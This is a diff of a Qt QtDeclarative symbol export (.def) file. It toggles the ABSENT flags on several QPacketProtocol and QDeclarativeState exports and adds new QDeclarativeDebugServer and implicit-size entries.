?tr@QDeclarativeListModel@@SA?AVQString@@PBD0H@Z @ 1046 NONAME ABSENT ; class QString QDeclarativeListModel::tr(char const *, char const *, int)
??0QDeclarativeScriptString@@QAE@XZ @ 1047 NONAME ; QDeclarativeScriptString::QDeclarativeScriptString(void)
?tr@QListModelInterface@@SA?AVQString@@PBD0@Z @ 1048 NONAME ABSENT ; class QString QListModelInterface::tr(char const *, char const *)
@@ -1088,7 +1088,7 @@ EXPORTS
?resetWidth@QDeclarativeItemPrivate@@UAEXXZ @ 1087 NONAME ; void QDeclarativeItemPrivate::resetWidth(void)
??AQDeclarativeOpenMetaObject@@QAEAAVQVariant@@ABVQByteArray@@@Z @ 1088 NONAME ABSENT ; class QVariant & QDeclarativeOpenMetaObject::operator[](class QByteArray const &)
?bottom@QDeclarativeItemPrivate@@QBE?AVQDeclarativeAnchorLine@@XZ @ 1089 NONAME ; class QDeclarativeAnchorLine QDeclarativeItemPrivate::bottom(void) const
- ?device@QPacketProtocol@@QAEPAVQIODevice@@XZ @ 1090 NONAME ABSENT ; class QIODevice * QPacketProtocol::device(void)
+ ?device@QPacketProtocol@@QAEPAVQIODevice@@XZ @ 1090 NONAME ; class QIODevice * QPacketProtocol::device(void)
?trUtf8@QDeclarativeStateGroup@@SA?AVQString@@PBD0@Z @ 1091 NONAME ; class QString QDeclarativeStateGroup::trUtf8(char const *, char const *)
?variantFromString@QDeclarativeStringConverters@@YA?AVQVariant@@ABVQString@@HPA_N@Z @ 1092 NONAME ABSENT ; class QVariant QDeclarativeStringConverters::variantFromString(class QString const &, int, bool *)
?metaObject@QDeclarativeComponent@@UBEPBUQMetaObject@@XZ @ 1093 NONAME ; struct QMetaObject const * QDeclarativeComponent::metaObject(void) const
@@ -1110,7 +1110,7 @@ EXPORTS
??0QDeclarativeDebugFileReference@@QAE@XZ @ 1109 NONAME ABSENT ; QDeclarativeDebugFileReference::QDeclarativeDebugFileReference(void)
?mapFromItem@QDeclarativeItem@@QBE?AVQScriptValue@@ABV2@MM@Z @ 1110 NONAME ; class QScriptValue QDeclarativeItem::mapFromItem(class QScriptValue const &, float, float) const
?trUtf8@QDeclarativeStateOperation@@SA?AVQString@@PBD0H@Z @ 1111 NONAME ; class QString QDeclarativeStateOperation::trUtf8(char const *, char const *, int)
- ?tr@QPacketProtocol@@SA?AVQString@@PBD0H@Z @ 1112 NONAME ABSENT ; class QString QPacketProtocol::tr(char const *, char const *, int)
+ ?tr@QPacketProtocol@@SA?AVQString@@PBD0H@Z @ 1112 NONAME ; class QString QPacketProtocol::tr(char const *, char const *, int)
?d_func@QDeclarativeAnchors@@ABEPBVQDeclarativeAnchorsPrivate@@XZ @ 1113 NONAME ABSENT ; class QDeclarativeAnchorsPrivate const * QDeclarativeAnchors::d_func(void) const
?setNotifySignal@QMetaPropertyBuilder@@QAEXABVQMetaMethodBuilder@@@Z @ 1114 NONAME ABSENT ; void QMetaPropertyBuilder::setNotifySignal(class QMetaMethodBuilder const &)
?enabled@QDeclarativeBehavior@@QBE_NXZ @ 1115 NONAME ABSENT ; bool QDeclarativeBehavior::enabled(void) const
@@ -1132,7 +1132,7 @@ EXPORTS
?noCreationReason@QDeclarativeType@@QBE?AVQString@@XZ @ 1131 NONAME ABSENT ; class QString QDeclarativeType::noCreationReason(void) const
?setUrl@QDeclarativeDebugFileReference@@QAEXABVQUrl@@@Z @ 1132 NONAME ABSENT ; void QDeclarativeDebugFileReference::setUrl(class QUrl const &)
??1QDeclarativeCustomParserProperty@@QAE@XZ @ 1133 NONAME ; QDeclarativeCustomParserProperty::~QDeclarativeCustomParserProperty(void)
- ??1QPacketProtocol@@UAE@XZ @ 1134 NONAME ABSENT ; QPacketProtocol::~QPacketProtocol(void)
+ ??1QPacketProtocol@@UAE@XZ @ 1134 NONAME ; QPacketProtocol::~QPacketProtocol(void)
??1QDeclarativeAbstractBinding@@MAE@XZ @ 1135 NONAME ABSENT ; QDeclarativeAbstractBinding::~QDeclarativeAbstractBinding(void)
?indexOfEnumerator@QMetaObjectBuilder@@QAEHABVQByteArray@@@Z @ 1136 NONAME ABSENT ; int QMetaObjectBuilder::indexOfEnumerator(class QByteArray const &)
?qt_metacast@QDeclarativePen@@UAEPAXPBD@Z @ 1137 NONAME ABSENT ; void * QDeclarativePen::qt_metacast(char const *)
@@ -1222,7 +1222,7 @@ EXPORTS
?statusChanged@QDeclarativeComponent@@IAEXW4Status@1@@Z @ 1221 NONAME ; void QDeclarativeComponent::statusChanged(enum QDeclarativeComponent::Status)
?setTarget@QDeclarativeBinding@@QAEXABVQDeclarativeProperty@@@Z @ 1222 NONAME ABSENT ; void QDeclarativeBinding::setTarget(class QDeclarativeProperty const &)
?imageProvider@QDeclarativeEngine@@QBEPAVQDeclarativeImageProvider@@ABVQString@@@Z @ 1223 NONAME ; class QDeclarativeImageProvider * QDeclarativeEngine::imageProvider(class QString const &) const
- ?packetsAvailable@QPacketProtocol@@QBE_JXZ @ 1224 NONAME ABSENT ; long long QPacketProtocol::packetsAvailable(void) const
+ ?packetsAvailable@QPacketProtocol@@QBE_JXZ @ 1224 NONAME ; long long QPacketProtocol::packetsAvailable(void) const
?state@QDeclarativeDebugWatch@@QBE?AW4State@1@XZ @ 1225 NONAME ABSENT ; enum QDeclarativeDebugWatch::State QDeclarativeDebugWatch::state(void) const
?attachedPropertiesFuncById@QDeclarativeMetaType@@SAP6APAVQObject@@PAV2@@ZH@Z @ 1226 NONAME ABSENT ; class QObject * (*)(class QObject *) QDeclarativeMetaType::attachedPropertiesFuncById(int)
?resetBaseline@QDeclarativeAnchors@@QAEXXZ @ 1227 NONAME ABSENT ; void QDeclarativeAnchors::resetBaseline(void)
@@ -1341,7 +1341,7 @@ EXPORTS
?implicitWidth@QDeclarativeItem@@QBEMXZ @ 1340 NONAME ; float QDeclarativeItem::implicitWidth(void) const
?metaObject@QDeclarativeContext@@UBEPBUQMetaObject@@XZ @ 1341 NONAME ; struct QMetaObject const * QDeclarativeContext::metaObject(void) const
??0QDeclarativeContext@@AAE@PAVQDeclarativeContextData@@@Z @ 1342 NONAME ; QDeclarativeContext::QDeclarativeContext(class QDeclarativeContextData *)
- ?maximumPacketSize@QPacketProtocol@@QBEHXZ @ 1343 NONAME ABSENT ; int QPacketProtocol::maximumPacketSize(void) const
+ ?maximumPacketSize@QPacketProtocol@@QBEHXZ @ 1343 NONAME ; int QPacketProtocol::maximumPacketSize(void) const
??_EQDeclarativeDebuggerStatus@@UAE@I@Z @ 1344 NONAME ABSENT ; QDeclarativeDebuggerStatus::~QDeclarativeDebuggerStatus(unsigned int)
?error@QDeclarativeCustomParser@@IAEXABVQString@@@Z @ 1345 NONAME ; void QDeclarativeCustomParser::error(class QString const &)
?messageReceived@QDeclarativeDebugService@@MAEXABVQByteArray@@@Z @ 1346 NONAME ABSENT ; void QDeclarativeDebugService::messageReceived(class QByteArray const &)
@@ -1389,12 +1389,12 @@ EXPORTS
?setEnabled@QDeclarativeDebugClient@@QAEX_N@Z @ 1388 NONAME ABSENT ; void QDeclarativeDebugClient::setEnabled(bool)
??1QMetaObjectBuilder@@UAE@XZ @ 1389 NONAME ABSENT ; QMetaObjectBuilder::~QMetaObjectBuilder(void)
?tr@QDeclarativeStateOperation@@SA?AVQString@@PBD0@Z @ 1390 NONAME ; class QString QDeclarativeStateOperation::tr(char const *, char const *)
- ?clear@QPacket@@QAEXXZ @ 1391 NONAME ABSENT ; void QPacket::clear(void)
+ ?clear@QPacket@@QAEXXZ @ 1391 NONAME ; void QPacket::clear(void)
?getStaticMetaObject@QDeclarativeDebugClient@@SAABUQMetaObject@@XZ @ 1392 NONAME ABSENT ; struct QMetaObject const & QDeclarativeDebugClient::getStaticMetaObject(void)
??0QDeclarativeDomList@@QAE@ABV0@@Z @ 1393 NONAME ABSENT ; QDeclarativeDomList::QDeclarativeDomList(class QDeclarativeDomList const &)
?gridTop@QDeclarativeGridScaledImage@@QBEHXZ @ 1394 NONAME ABSENT ; int QDeclarativeGridScaledImage::gridTop(void) const
?setUrl@QDeclarativeError@@QAEXABVQUrl@@@Z @ 1395 NONAME ; void QDeclarativeError::setUrl(class QUrl const &)
- ?setMaximumPacketSize@QPacketProtocol@@QAEHH@Z @ 1396 NONAME ABSENT ; int QPacketProtocol::setMaximumPacketSize(int)
+ ?setMaximumPacketSize@QPacketProtocol@@QAEHH@Z @ 1396 NONAME ; int QPacketProtocol::setMaximumPacketSize(int)
??_EQDeclarativeAction@@QAE@I@Z @ 1397 NONAME ABSENT ; QDeclarativeAction::~QDeclarativeAction(unsigned int)
?trUtf8@QDeclarativeDebugWatch@@SA?AVQString@@PBD0@Z @ 1398 NONAME ABSENT ; class QString QDeclarativeDebugWatch::trUtf8(char const *, char const *)
?read@QDeclarativeProperty@@SA?AVQVariant@@PAVQObject@@ABVQString@@@Z @ 1399 NONAME ; class QVariant QDeclarativeProperty::read(class QObject *, class QString const &)
@@ -1472,7 +1472,7 @@ EXPORTS
?signalExpression@QDeclarativePropertyPrivate@@SAPAVQDeclarativeExpression@@ABVQDeclarativeProperty@@@Z @ 1471 NONAME ABSENT ; class QDeclarativeExpression * QDeclarativePropertyPrivate::signalExpression(class QDeclarativeProperty const &)
?networkAccessManagerFactory@QDeclarativeEngine@@QBEPAVQDeclarativeNetworkAccessManagerFactory@@XZ @ 1472 NONAME ; class QDeclarativeNetworkAccessManagerFactory * QDeclarativeEngine::networkAccessManagerFactory(void) const
?isStringList@Variant@QDeclarativeParser@@QBE_NXZ @ 1473 NONAME ; bool QDeclarativeParser::Variant::isStringList(void) const
- ?packetWritten@QPacketProtocol@@IAEXXZ @ 1474 NONAME ABSENT ; void QPacketProtocol::packetWritten(void)
+ ?packetWritten@QPacketProtocol@@IAEXXZ @ 1474 NONAME ; void QPacketProtocol::packetWritten(void)
?getStaticMetaObject@QDeclarativeDebugObjectQuery@@SAABUQMetaObject@@XZ @ 1475 NONAME ABSENT ; struct QMetaObject const & QDeclarativeDebugObjectQuery::getStaticMetaObject(void)
?isSignalProperty@QDeclarativeProperty@@QBE_NXZ @ 1476 NONAME ; bool QDeclarativeProperty::isSignalProperty(void) const
?d_func@QDeclarativeDebugService@@AAEPAVQDeclarativeDebugServicePrivate@@XZ @ 1477 NONAME ABSENT ; class QDeclarativeDebugServicePrivate * QDeclarativeDebugService::d_func(void)
@@ -1488,7 +1488,7 @@ EXPORTS
?qt_metacast@QDeclarativePropertyMap@@UAEPAXPBD@Z @ 1487 NONAME ; void * QDeclarativePropertyMap::qt_metacast(char const *)
?classBegin@QDeclarativeAnchors@@QAEXXZ @ 1488 NONAME ABSENT ; void QDeclarativeAnchors::classBegin(void)
?color@QDeclarativeText@@QBE?AVQColor@@XZ @ 1489 NONAME ABSENT ; class QColor QDeclarativeText::color(void) const
- ?metaObject@QPacketProtocol@@UBEPBUQMetaObject@@XZ @ 1490 NONAME ABSENT ; struct QMetaObject const * QPacketProtocol::metaObject(void) const
+ ?metaObject@QPacketProtocol@@UBEPBUQMetaObject@@XZ @ 1490 NONAME ; struct QMetaObject const * QPacketProtocol::metaObject(void) const
??4QDeclarativeGridScaledImage@@QAEAAV0@ABV0@@Z @ 1491 NONAME ABSENT ; class QDeclarativeGridScaledImage & QDeclarativeGridScaledImage::operator=(class QDeclarativeGridScaledImage const &)
?tr@QDeclarativeScaleGrid@@SA?AVQString@@PBD0@Z @ 1492 NONAME ABSENT ; class QString QDeclarativeScaleGrid::tr(char const *, char const *)
??1QDeclarativeScriptString@@QAE@XZ @ 1493 NONAME ; QDeclarativeScriptString::~QDeclarativeScriptString(void)
@@ -1619,7 +1619,7 @@ EXPORTS
?metaObject@QDeclarativeItem@@UBEPBUQMetaObject@@XZ @ 1618 NONAME ; struct QMetaObject const * QDeclarativeItem::metaObject(void) const
?clear@QDeclarativeAbstractBinding@@IAEXXZ @ 1619 NONAME ABSENT ; void QDeclarativeAbstractBinding::clear(void)
?start@QDeclarativeItemPrivate@@SAXAAVQElapsedTimer@@@Z @ 1620 NONAME ; void QDeclarativeItemPrivate::start(class QElapsedTimer &)
- ?load@QDeclarativePixmap@@QAEXPAVQDeclarativeEngine@@ABVQUrl@@ABVQSize@@_N@Z @ 1621 NONAME ; void QDeclarativePixmap::load(class QDeclarativeEngine *, class QUrl const &, class QSize const &, bool)
+ ?load@QDeclarativePixmap@@QAEXPAVQDeclarativeEngine@@ABVQUrl@@ABVQSize@@_N@Z @ 1621 NONAME ABSENT ; void QDeclarativePixmap::load(class QDeclarativeEngine *, class QUrl const &, class QSize const &, bool)
?stringToRule@QDeclarativeGridScaledImage@@CA?AW4TileMode@QDeclarativeBorderImage@@ABVQString@@@Z @ 1622 NONAME ABSENT ; enum QDeclarativeBorderImage::TileMode QDeclarativeGridScaledImage::stringToRule(class QString const &)
?setHorizontalCenter@QDeclarativeAnchors@@QAEXABVQDeclarativeAnchorLine@@@Z @ 1623 NONAME ABSENT ; void QDeclarativeAnchors::setHorizontalCenter(class QDeclarativeAnchorLine const &)
?setFocus@QDeclarativeItem@@QAEX_N@Z @ 1624 NONAME ; void QDeclarativeItem::setFocus(bool)
@@ -1631,7 +1631,7 @@ EXPORTS
??0QDeclarativeContext@@AAE@PAVQDeclarativeEngine@@_N@Z @ 1630 NONAME ; QDeclarativeContext::QDeclarativeContext(class QDeclarativeEngine *, bool)
?initialValue@QDeclarativeOpenMetaObject@@UAE?AVQVariant@@H@Z @ 1631 NONAME ABSENT ; class QVariant QDeclarativeOpenMetaObject::initialValue(int)
?tr@QDeclarativeView@@SA?AVQString@@PBD0@Z @ 1632 NONAME ; class QString QDeclarativeView::tr(char const *, char const *)
- ?qt_metacall@QPacketProtocol@@UAEHW4Call@QMetaObject@@HPAPAX@Z @ 1633 NONAME ABSENT ; int QPacketProtocol::qt_metacall(enum QMetaObject::Call, int, void * *)
+ ?qt_metacall@QPacketProtocol@@UAEHW4Call@QMetaObject@@HPAPAX@Z @ 1633 NONAME ; int QPacketProtocol::qt_metacall(enum QMetaObject::Call, int, void * *)
??0QDeclarativeItem@@QAE@PAV0@@Z @ 1634 NONAME ; QDeclarativeItem::QDeclarativeItem(class QDeclarativeItem *)
?hasDebuggingClient@QDeclarativeDebugService@@SA_NXZ @ 1635 NONAME ABSENT ; bool QDeclarativeDebugService::hasDebuggingClient(void)
?staticMetaObject@QDeclarativeContext@@2UQMetaObject@@B @ 1636 NONAME ; struct QMetaObject const QDeclarativeContext::staticMetaObject
@@ -1645,15 +1645,15 @@ EXPORTS
??_EQDeclarativePropertyChanges@@UAE@I@Z @ 1644 NONAME ABSENT ; QDeclarativePropertyChanges::~QDeclarativePropertyChanges(unsigned int)
?setObject@QDeclarativePropertyChanges@@QAEXPAVQObject@@@Z @ 1645 NONAME ABSENT ; void QDeclarativePropertyChanges::setObject(class QObject *)
?staticMetaObject@QDeclarativePropertyChanges@@2UQMetaObject@@B @ 1646 NONAME ABSENT ; struct QMetaObject const QDeclarativePropertyChanges::staticMetaObject
- ?removeEntryFromRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQByteArray@@@Z @ 1647 NONAME ; bool QDeclarativeState::removeEntryFromRevertList(class QObject *, class QByteArray const &)
+ ?removeEntryFromRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQByteArray@@@Z @ 1647 NONAME ABSENT ; bool QDeclarativeState::removeEntryFromRevertList(class QObject *, class QByteArray const &)
?restoreEntryValues@QDeclarativePropertyChanges@@QBE_NXZ @ 1648 NONAME ABSENT ; bool QDeclarativePropertyChanges::restoreEntryValues(void) const
?setRestoreEntryValues@QDeclarativePropertyChanges@@QAEX_N@Z @ 1649 NONAME ABSENT ; void QDeclarativePropertyChanges::setRestoreEntryValues(bool)
?changeValue@QDeclarativePropertyChanges@@QAEXABVQByteArray@@ABVQVariant@@@Z @ 1650 NONAME ABSENT ; void QDeclarativePropertyChanges::changeValue(class QByteArray const &, class QVariant const &)
?metaObject@QDeclarativePropertyChanges@@UBEPBUQMetaObject@@XZ @ 1651 NONAME ABSENT ; struct QMetaObject const * QDeclarativePropertyChanges::metaObject(void) const
?data_clear@QDeclarativeItemPrivate@@SAXPAV?$QDeclarativeListProperty@VQObject@@@@@Z @ 1652 NONAME ; void QDeclarativeItemPrivate::data_clear(class QDeclarativeListProperty<class QObject> *)
- ?containsPropertyInRevertList@QDeclarativeState@@QBE_NPAVQObject@@ABVQByteArray@@@Z @ 1653 NONAME ; bool QDeclarativeState::containsPropertyInRevertList(class QObject *, class QByteArray const &) const
+ ?containsPropertyInRevertList@QDeclarativeState@@QBE_NPAVQObject@@ABVQByteArray@@@Z @ 1653 NONAME ABSENT ; bool QDeclarativeState::containsPropertyInRevertList(class QObject *, class QByteArray const &) const
?containsValue@QDeclarativePropertyChanges@@QBE_NABVQByteArray@@@Z @ 1654 NONAME ABSENT ; bool QDeclarativePropertyChanges::containsValue(class QByteArray const &) const
- ?bindingInRevertList@QDeclarativeState@@QBEPAVQDeclarativeAbstractBinding@@PAVQObject@@ABVQByteArray@@@Z @ 1655 NONAME ; class QDeclarativeAbstractBinding * QDeclarativeState::bindingInRevertList(class QObject *, class QByteArray const &) const
+ ?bindingInRevertList@QDeclarativeState@@QBEPAVQDeclarativeAbstractBinding@@PAVQObject@@ABVQByteArray@@@Z @ 1655 NONAME ABSENT ; class QDeclarativeAbstractBinding * QDeclarativeState::bindingInRevertList(class QObject *, class QByteArray const &) const
?d_func@QDeclarativePropertyChanges@@ABEPBVQDeclarativePropertyChangesPrivate@@XZ @ 1656 NONAME ABSENT ; class QDeclarativePropertyChangesPrivate const * QDeclarativePropertyChanges::d_func(void) const
?containsProperty@QDeclarativePropertyChanges@@QBE_NABVQByteArray@@@Z @ 1657 NONAME ABSENT ; bool QDeclarativePropertyChanges::containsProperty(class QByteArray const &) const
?trUtf8@QDeclarativePropertyChanges@@SA?AVQString@@PBD0H@Z @ 1658 NONAME ABSENT ; class QString QDeclarativePropertyChanges::trUtf8(char const *, char const *, int)
@@ -1677,17 +1677,17 @@ EXPORTS
?addEntriesToRevertList@QDeclarativeState@@QAEXABV?$QList@VQDeclarativeAction@@@@@Z @ 1676 NONAME ; void QDeclarativeState::addEntriesToRevertList(class QList<class QDeclarativeAction> const &)
?expression@QDeclarativePropertyChanges@@QBE?AVQString@@ABVQByteArray@@@Z @ 1677 NONAME ABSENT ; class QString QDeclarativePropertyChanges::expression(class QByteArray const &) const
?object@QDeclarativePropertyChanges@@QBEPAVQObject@@XZ @ 1678 NONAME ABSENT ; class QObject * QDeclarativePropertyChanges::object(void) const
- ?valueInRevertList@QDeclarativeState@@QBE?AVQVariant@@PAVQObject@@ABVQByteArray@@@Z @ 1679 NONAME ; class QVariant QDeclarativeState::valueInRevertList(class QObject *, class QByteArray const &) const
+ ?valueInRevertList@QDeclarativeState@@QBE?AVQVariant@@PAVQObject@@ABVQByteArray@@@Z @ 1679 NONAME ABSENT ; class QVariant QDeclarativeState::valueInRevertList(class QObject *, class QByteArray const &) const
?removeAllEntriesFromRevertList@QDeclarativeState@@QAEXPAVQObject@@@Z @ 1680 NONAME ; void QDeclarativeState::removeAllEntriesFromRevertList(class QObject *)
?d_func@QDeclarativeStateOperation@@AAEPAVQDeclarativeStateOperationPrivate@@XZ @ 1681 NONAME ; class QDeclarativeStateOperationPrivate * QDeclarativeStateOperation::d_func(void)
- ?changeValueInRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQByteArray@@ABVQVariant@@@Z @ 1682 NONAME ; bool QDeclarativeState::changeValueInRevertList(class QObject *, class QByteArray const &, class QVariant const &)
+ ?changeValueInRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQByteArray@@ABVQVariant@@@Z @ 1682 NONAME ABSENT ; bool QDeclarativeState::changeValueInRevertList(class QObject *, class QByteArray const &, class QVariant const &)
?setIsExplicit@QDeclarativePropertyChanges@@QAEX_N@Z @ 1683 NONAME ABSENT ; void QDeclarativePropertyChanges::setIsExplicit(bool)
?isStateActive@QDeclarativeState@@QBE_NXZ @ 1684 NONAME ; bool QDeclarativeState::isStateActive(void) const
?data_count@QDeclarativeItemPrivate@@SAHPAV?$QDeclarativeListProperty@VQObject@@@@@Z @ 1685 NONAME ; int QDeclarativeItemPrivate::data_count(class QDeclarativeListProperty<class QObject> *)
?removeProperty@QDeclarativePropertyChanges@@QAEXABVQByteArray@@@Z @ 1686 NONAME ABSENT ; void QDeclarativePropertyChanges::removeProperty(class QByteArray const &)
?data_at@QDeclarativeItemPrivate@@SAPAVQObject@@PAV?$QDeclarativeListProperty@VQObject@@@@H@Z @ 1687 NONAME ; class QObject * QDeclarativeItemPrivate::data_at(class QDeclarativeListProperty<class QObject> *, int)
?tr@QDeclarativePropertyChanges@@SA?AVQString@@PBD0@Z @ 1688 NONAME ABSENT ; class QString QDeclarativePropertyChanges::tr(char const *, char const *)
- ?changeBindingInRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQByteArray@@PAVQDeclarativeAbstractBinding@@@Z @ 1689 NONAME ; bool QDeclarativeState::changeBindingInRevertList(class QObject *, class QByteArray const &, class QDeclarativeAbstractBinding *)
+ ?changeBindingInRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQByteArray@@PAVQDeclarativeAbstractBinding@@@Z @ 1689 NONAME ABSENT ; bool QDeclarativeState::changeBindingInRevertList(class QObject *, class QByteArray const &, class QDeclarativeAbstractBinding *)
?getStaticMetaObject@QDeclarativePropertyChanges@@SAABUQMetaObject@@XZ @ 1690 NONAME ABSENT ; struct QMetaObject const & QDeclarativePropertyChanges::getStaticMetaObject(void)
?weakPointer@QDeclarativeAbstractBinding@@QAE?AV?$QWeakPointer@VQDeclarativeAbstractBinding@@@@XZ @ 1691 NONAME ABSENT ; class QWeakPointer<class QDeclarativeAbstractBinding> QDeclarativeAbstractBinding::weakPointer(void)
?getStaticMetaObject@QDeclarativeScriptAction@@SAABUQMetaObject@@XZ @ 1692 NONAME ABSENT ; struct QMetaObject const & QDeclarativeScriptAction::getStaticMetaObject(void)
@@ -1840,4 +1840,52 @@ EXPORTS
?qt_metacall@QDeclarativeAbstractAnimation@@UAEHW4Call@QMetaObject@@HPAPAX@Z @ 1839 NONAME ABSENT ; int QDeclarativeAbstractAnimation::qt_metacall(enum QMetaObject::Call, int, void * *)
?enableDebugging@QDeclarativeDebugHelper@@SAXXZ @ 1840 NONAME ; void QDeclarativeDebugHelper::enableDebugging(void)
?connect@QDeclarativePropertyPrivate@@SA_NPBVQObject@@H0HHPAH@Z @ 1841 NONAME ABSENT ; bool QDeclarativePropertyPrivate::connect(class QObject const *, int, class QObject const *, int, int, int *)
+ ?qt_metacall@QDeclarativeDebugServer@@UAEHW4Call@QMetaObject@@HPAPAX@Z @ 1842 NONAME ; int QDeclarativeDebugServer::qt_metacall(enum QMetaObject::Call, int, void * *)
+ ?implicitHeight@QDeclarativeItemPrivate@@UBEMXZ @ 1843 NONAME ; float QDeclarativeItemPrivate::implicitHeight(void) const
+ ?instance@QDeclarativeDebugServer@@SAPAV1@XZ @ 1844 NONAME ; class QDeclarativeDebugServer * QDeclarativeDebugServer::instance(void)
+ ?addService@QDeclarativeDebugServer@@QAE_NPAVQDeclarativeDebugService@@@Z @ 1845 NONAME ; bool QDeclarativeDebugServer::addService(class QDeclarativeDebugService *)
+ ?containsPropertyInRevertList@QDeclarativeState@@QBE_NPAVQObject@@ABVQString@@@Z @ 1846 NONAME ; bool QDeclarativeState::containsPropertyInRevertList(class QObject *, class QString const &) const
+ ?data@QPacket@@QBE?AVQByteArray@@XZ @ 1847 NONAME ; class QByteArray QPacket::data(void) const
+ ?removeService@QDeclarativeDebugServer@@QAE_NPAVQDeclarativeDebugService@@@Z @ 1848 NONAME ; bool QDeclarativeDebugServer::removeService(class QDeclarativeDebugService *)
+ ?serviceNames@QDeclarativeDebugServer@@QBE?AVQStringList@@XZ @ 1849 NONAME ; class QStringList QDeclarativeDebugServer::serviceNames(void) const
+ ??_EQDeclarativeDebugServer@@UAE@I@Z @ 1850 NONAME ; QDeclarativeDebugServer::~QDeclarativeDebugServer(unsigned int)
+ ?staticMetaObject@QDeclarativeDebugServer@@2UQMetaObject@@B @ 1851 NONAME ; struct QMetaObject const QDeclarativeDebugServer::staticMetaObject
+ ?services@QDeclarativeDebugServer@@QBE?AV?$QList@PAVQDeclarativeDebugService@@@@XZ @ 1852 NONAME ; class QList<class QDeclarativeDebugService *> QDeclarativeDebugServer::services(void) const
+ ?rewriteBinding@QDeclarativeCustomParser@@IAEHABVQString@@ABVQByteArray@@@Z @ 1853 NONAME ; int QDeclarativeCustomParser::rewriteBinding(class QString const &, class QByteArray const &)
+ ?changeValueInRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQString@@ABVQVariant@@@Z @ 1854 NONAME ; bool QDeclarativeState::changeValueInRevertList(class QObject *, class QString const &, class QVariant const &)
+ ?load@QDeclarativePixmap@@QAEXPAVQDeclarativeEngine@@ABVQUrl@@ABVQSize@@V?$QFlags@W4Option@QDeclarativePixmap@@@@@Z @ 1855 NONAME ; void QDeclarativePixmap::load(class QDeclarativeEngine *, class QUrl const &, class QSize const &, class QFlags<enum QDeclarativePixmap::Option>)
+ ?implicitHeightChanged@QDeclarativeItemPrivate@@UAEXXZ @ 1856 NONAME ; void QDeclarativeItemPrivate::implicitHeightChanged(void)
+ ?implicitWidthChanged@QDeclarativeItem@@IAEXXZ @ 1857 NONAME ; void QDeclarativeItem::implicitWidthChanged(void)
+ ?implicitWidthChanged@QDeclarativeItemPrivate@@UAEXXZ @ 1858 NONAME ; void QDeclarativeItemPrivate::implicitWidthChanged(void)
+ ?trUtf8@QDeclarativeDebugServer@@SA?AVQString@@PBD0H@Z @ 1859 NONAME ; class QString QDeclarativeDebugServer::trUtf8(char const *, char const *, int)
+ ?implicitHeightChanged@QDeclarativeItem@@IAEXXZ @ 1860 NONAME ; void QDeclarativeItem::implicitHeightChanged(void)
+ ?load@QDeclarativePixmap@@QAEXPAVQDeclarativeEngine@@ABVQUrl@@V?$QFlags@W4Option@QDeclarativePixmap@@@@@Z @ 1861 NONAME ; void QDeclarativePixmap::load(class QDeclarativeEngine *, class QUrl const &, class QFlags<enum QDeclarativePixmap::Option>)
+ ?trUtf8@QDeclarativeDebugServer@@SA?AVQString@@PBD0@Z @ 1862 NONAME ; class QString QDeclarativeDebugServer::trUtf8(char const *, char const *)
+ ??_EQDeclarativeDebugServerConnection@@UAE@I@Z @ 1863 NONAME ; QDeclarativeDebugServerConnection::~QDeclarativeDebugServerConnection(unsigned int)
+ ?receiveMessage@QDeclarativeDebugServer@@QAEXABVQByteArray@@@Z @ 1864 NONAME ; void QDeclarativeDebugServer::receiveMessage(class QByteArray const &)
+ ??0QDeclarativeDebugServer@@AAE@XZ @ 1865 NONAME ; QDeclarativeDebugServer::QDeclarativeDebugServer(void)
+ ?tr@QDeclarativeDebugServer@@SA?AVQString@@PBD0@Z @ 1866 NONAME ; class QString QDeclarativeDebugServer::tr(char const *, char const *)
+ ??1QDeclarativeDebugServer@@UAE@XZ @ 1867 NONAME ; QDeclarativeDebugServer::~QDeclarativeDebugServer(void)
+ ?sendMessage@QDeclarativeDebugServer@@QAEXPAVQDeclarativeDebugService@@ABVQByteArray@@@Z @ 1868 NONAME ; void QDeclarativeDebugServer::sendMessage(class QDeclarativeDebugService *, class QByteArray const &)
+ ??1QDeclarativeDebugServerConnection@@UAE@XZ @ 1869 NONAME ; QDeclarativeDebugServerConnection::~QDeclarativeDebugServerConnection(void)
+ ?qt_metacast@QDeclarativeDebugServer@@UAEPAXPBD@Z @ 1870 NONAME ; void * QDeclarativeDebugServer::qt_metacast(char const *)
+ ?hasDebuggingClient@QDeclarativeDebugServer@@QBE_NXZ @ 1871 NONAME ; bool QDeclarativeDebugServer::hasDebuggingClient(void) const
+ ?bindingInRevertList@QDeclarativeState@@QBEPAVQDeclarativeAbstractBinding@@PAVQObject@@ABVQString@@@Z @ 1872 NONAME ; class QDeclarativeAbstractBinding * QDeclarativeState::bindingInRevertList(class QObject *, class QString const &) const
+ ?getStaticMetaObject@QDeclarativeDebugServer@@SAABUQMetaObject@@XZ @ 1873 NONAME ; struct QMetaObject const & QDeclarativeDebugServer::getStaticMetaObject(void)
+ ?metaObject@QDeclarativeDebugServer@@UBEPBUQMetaObject@@XZ @ 1874 NONAME ; struct QMetaObject const * QDeclarativeDebugServer::metaObject(void) const
+ ?d_func@QDeclarativeDebugServer@@ABEPBVQDeclarativeDebugServerPrivate@@XZ @ 1875 NONAME ; class QDeclarativeDebugServerPrivate const * QDeclarativeDebugServer::d_func(void) const
+ ??0QDeclarativeExpression@@IAE@PAVQDeclarativeContextData@@PAVQObject@@ABVQScriptValue@@AAVQDeclarativeExpressionPrivate@@@Z @ 1876 NONAME ; QDeclarativeExpression::QDeclarativeExpression(class QDeclarativeContextData *, class QObject *, class QScriptValue const &, class QDeclarativeExpressionPrivate &)
+ ?createObject@QDeclarativeComponent@@IAE?AVQScriptValue@@PAVQObject@@ABV2@@Z @ 1877 NONAME ; class QScriptValue QDeclarativeComponent::createObject(class QObject *, class QScriptValue const &)
+ ?changeBindingInRevertList@QDeclarativeState@@QAE_NPAVQObject@@ABVQString@@PAVQDeclarativeAbstractBinding@@@Z @ 1878 NONAME ; bool QDeclarativeState::changeBindingInRevertList(class QObject *, class QString const &, class QDeclarativeAbstractBinding *)
+ ??0QDeclarativeDebugServerConnection@@QAE@XZ @ 1879 NONAME ; QDeclarativeDebugServerConnection::QDeclarativeDebugServerConnection(void)
+ ?valueInRevertList@QDeclarativeState@@QBE?AVQVariant@@PAVQObject@@ABVQString@@@Z @ 1880 NONAME ; class QVariant QDeclarativeState::valueInRevertList(class QObject *, class QString const &) const
